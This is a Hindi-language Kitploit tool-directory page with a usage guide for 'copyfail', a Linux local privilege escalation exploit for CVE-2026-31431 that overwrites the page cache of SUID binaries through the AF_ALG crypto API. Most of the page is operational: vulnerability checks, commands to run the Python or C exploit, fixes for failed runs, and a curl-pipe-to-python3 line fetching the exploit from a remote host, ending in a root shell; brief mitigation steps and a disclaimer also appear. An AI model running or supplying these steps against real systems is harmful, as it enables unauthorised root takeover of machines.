Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
copyfail — CVE-2026-31431 के लिए Linux लोकल प्रिविलेज एस्केलेशन एक्सप्लॉइट, जो AF_ALG कर्नेल क्रिप्टो API के माध्यम से SUID बाइनरीज़ के पेज कैश को ओवरराइट करके रूट एक्सेस प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/minime794/copyfail
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubminime794/copyfail

copyfail

CVE-2026-31431 के लिए Linux लोकल प्रिविलेज एस्केलेशन एक्सप्लॉइट, जो AF_ALG कर्नेल क्रिप्टो API के माध्यम से SUID बाइनरीज़ के पेज कैश को ओवरराइट करके रूट एक्सेस प्राप्त करता है।

रिपॉजिटरी देखें
7घं 25मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Copy Fail (CVE-2026-31431) – एक्सप्लॉइट उपयोग गाइड

मूल रीडमी @painoob से लिया गया

2017 / 2016 से सभी कर्नेल संस्करण असुरक्षित हैं! कर्नेल 7 पूरी तरह से प्रतिरक्षित है, अन्य (5-7 के बीच अभी भी असुरक्षित हो सकते हैं)

⚠️ अस्वीकरण

यह सामग्री केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। स्पष्ट अनुमति के बिना सिस्टम पर इसे न चलाएं।


📌 अवलोकन

Copy Fail (CVE-2026-31431) एक Linux लोकल प्रिविलेज एस्केलेशन (LPE) भेद्यता है जो AF_ALG के माध्यम से कर्नेल क्रिप्टो API को प्रभावित करती है।

यह एक अपरिविलेज्ड उपयोगकर्ता को SUID बाइनरी (जैसे, /usr/bin/su) के पेज कैश डेटा को अधिलेखित करने और रूट एक्सेस प्राप्त करने की अनुमति देती है।


🧠 आवश्यकताएं

सिस्टम आवश्यकताएं

  • Linux कर्नेल (असुरक्षित – पैच स्थिति पर निर्भर करता है)
  • AF_ALG सक्षम
  • algif_aead मॉड्यूल लोडेड

Python एक्सप्लॉइट आवश्यकताएं

  • Python 3.10+
  • समर्थन के लिए:
    • os.splice
    • socket(AF_ALG)

🔍 भेद्यता की जांच

root@kitploit:~
uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

अपेक्षित संकेतक:

  • authencesn(hmac(sha256),cbc(aes))
  • algif_aead लोडेड

🐍 Python एक्सप्लॉइट चलाना

1. सीधे निष्पादित करें

root@kitploit:~
python3 copy_fail_exp.py

2. या curl के माध्यम से (यदि रिमोट होस्टेड)

root@kitploit:~
curl https://copy.fail/exp | python3

3. रूट शेल ट्रिगर करें

root@kitploit:~
su
id

अपेक्षित परिणाम:

root@kitploit:~
uid=0(root)

⚠️ सामान्य समस्याएं (Python)

❌ त्रुटि: os.splice not found

कारण:

  • Python संस्करण < 3.10
  • प्रतिबंधित बिल्ड

समाधान:

  • नया Python बाइनरी उपयोग करें
  • एक स्टैटिक Python इंटरप्रेटर अपलोड करें

⚙️ C संस्करण संकलित करना

1. संकलित करें

root@kitploit:~
gcc copy_fail_exp.c -o copy_fail

2. निष्पादन योग्य बनाएं

root@kitploit:~
chmod +x copy_fail

3. एक्सप्लॉइट चलाएं

root@kitploit:~
./copy_fail
su

⚠️ सामान्य समस्याएं (C)

❌ एक्सप्लॉइट चलता है लेकिन रूट नहीं

संभावित कारण:

  • कर्नेल पैच किया गया
  • गलत ऑफसेट
  • वातावरण बेमेल

❌ संकलन त्रुटियां

आवश्यक उपकरण स्थापित करें:

root@kitploit:~
apt update && apt install build-essential

🧪 समस्या निवारण

जांचें कि सिस्टम पैच किया गया है या नहीं

root@kitploit:~
dmesg | grep -i alg

मॉड्यूल सत्यापित करें

root@kitploit:~
lsmod | grep algif_aead

🛡️ शमन

असुरक्षित मॉड्यूल अक्षम करें

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

कर्नेल पैच लागू करें

अपना सिस्टम अपडेट करें:

root@kitploit:~
apt update && apt upgrade

📌 नोट्स

  • एक्सप्लॉइट केवल पेज कैश को संशोधित करता है (गैर-स्थायी)
  • स्थानीय एक्सेस की आवश्यकता है
  • डिफ़ॉल्ट रूप से रिमोटली एक्सप्लॉइट करने योग्य नहीं

🧠 अंतिम अंतर्दृष्टि

यदि एक्सप्लॉइट विफल हो जाता है, तो विचार करें:

  • कर्नेल पहले से पैच किया गया
  • वातावरण प्रतिबंध
  • वैकल्पिक प्रिविलेज एस्केलेशन वेक्टर (SUID, capabilities, sudo misconfig)

📚 संदर्भ

  • https://copy.fail/
  • CVE-2026-31431

👨‍💻 लेखक नोट्स

इस एक्सप्लॉइट का उपयोग केवल लैब्स, CTFs, और अधिकृत पेंटेस्ट में जिम्मेदारी से करें।

टूल डाउनलोड करें